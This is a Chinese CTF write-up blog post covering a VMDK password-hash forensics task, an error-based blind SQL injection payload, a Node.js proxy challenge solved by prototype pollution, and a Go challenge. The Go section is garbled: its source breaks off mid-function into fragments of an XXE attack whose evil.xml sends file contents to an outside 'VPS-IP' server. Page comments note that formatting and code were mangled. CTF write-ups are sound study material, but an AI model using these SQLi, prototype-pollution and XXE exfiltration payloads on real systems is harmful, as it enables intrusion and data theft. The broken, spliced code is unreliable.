问它你原本的任务是啥?
开局拿到一个vmdk文件,要找密码,用7z打开到如下位置
然后取出system和SAM用于提取哈希,丢到mimikatz中去看看ntlm:
最后上cmd5来解密
在上一题的桌面上有个图片
然后使用VeraCrypt解密就出了
看报文报错盲注,flag就是密码:
核心代码
/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)
如果说上面这串表达式为真,那么id=0,这就会触发报错。
反之如果表达式不同意则会正常显示内容。
于是就可以挨个推断出flag字符串的每一个ascii值,最后转成字符后反转就出了。
PS:不要用gpt做任何数学相关的题目,可以使用赛博厨子,被坑惨了
开局源码如下:
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});
发现这里的update函数可能存在原型链污染(赋值),但是这里过滤了__
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
//...
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
不能用__proto__也可以用prototype构造payload
再看过滤规则:
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}
//...
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
结合/proxy部分的代码,就是要利用自己来访问127.0.0.1:3000/flag,这就需要污染userStorage[username].strategy,浅浅构造一个payload
{"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}
改改:
{"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}
如果直接点击链接的话就会访问
/proxy?url=http://127.0.0.1
回显unreachable
要手动补齐/proxy?url=http://127.0.0.1:3000/flag
就能正常访问了
一道值得细细评鉴的go史
先看route.go
package routes
import (
"fmt"
"html/template"
"net/http"
"os"
"os/signal"
"path/filepath"
"zero-link/internal/config"
"zero-link/internal/controller/auth"
"zero-link/internal/controller/file"
"zero-link/internal/controller/ping"
"zero-link/internal/controller/user"
"zero-link/internal/middleware"
"zero-link/internal/views"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func Run() {
r := gin.Default()
html := template.Must(template.New("").ParseFS(views.FS, "*"))
r.SetHTMLTemplate(html)
secret := config.Secret.SessionSecret
store := cookie.NewStore([]byte(secret))
r.Use(sessions.Sessions("session", store))
api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)
apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}
frontend := r.Group("/")
{
frontend.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
frontend.GET("/login", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", nil)
})
frontendAuth := frontend.Group("")
frontendAuth.Use(middleware.Auth())
{
frontendAuth.GET("/manager", func(c *gin.Context) {
c.HTML(http.StatusOK, "manager.html", nil)
})
}
}
quit := make(chan os.Signal)
signal.Notify(quit, os.Interrupt)
go func() {
%dtd; %all;
]>
&send;
转utf-16
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
准备evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://VPS-IP/upload.php?file=%file;'>">
然后开启http服务发evil.xml
python -m http.sever 80
传http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit
就可以收到flag了
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 100.00 | 0 | 2024-03-03 15:03:27 | 2月份投稿活动奖励结算 首次投稿一篇有效文章 100 |
Track-魔方 | 400.00 | 0 | 2024-02-29 20:08:01 | 深度 100 普适 200 可读 100 |
打赏我,让我更有动力~
Zero Link.zip 文件大小:0.02M (下载次数:0)
webvpn.zip 文件大小:0.013M (下载次数:1)
VidarBox.zip 文件大小:3.75M (下载次数:1)
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 10个月前
有一张图片没了:
评论列表
加载数据中...
Track-魔方
发表于 10个月前
格式有点炸,这个也需要改改:
评论列表
加载数据中...
____7n
发表于 10个月前
改了
评论列表
加载数据中...
Track-魔方
发表于 10个月前
代码中有好多这种特殊符号被编码了,需要修改修改,evil.xml的内容没有,会吞代码啥的,可以用截图的方式放上去, 当然截图请同学尽量清晰一些:
评论列表
加载数据中...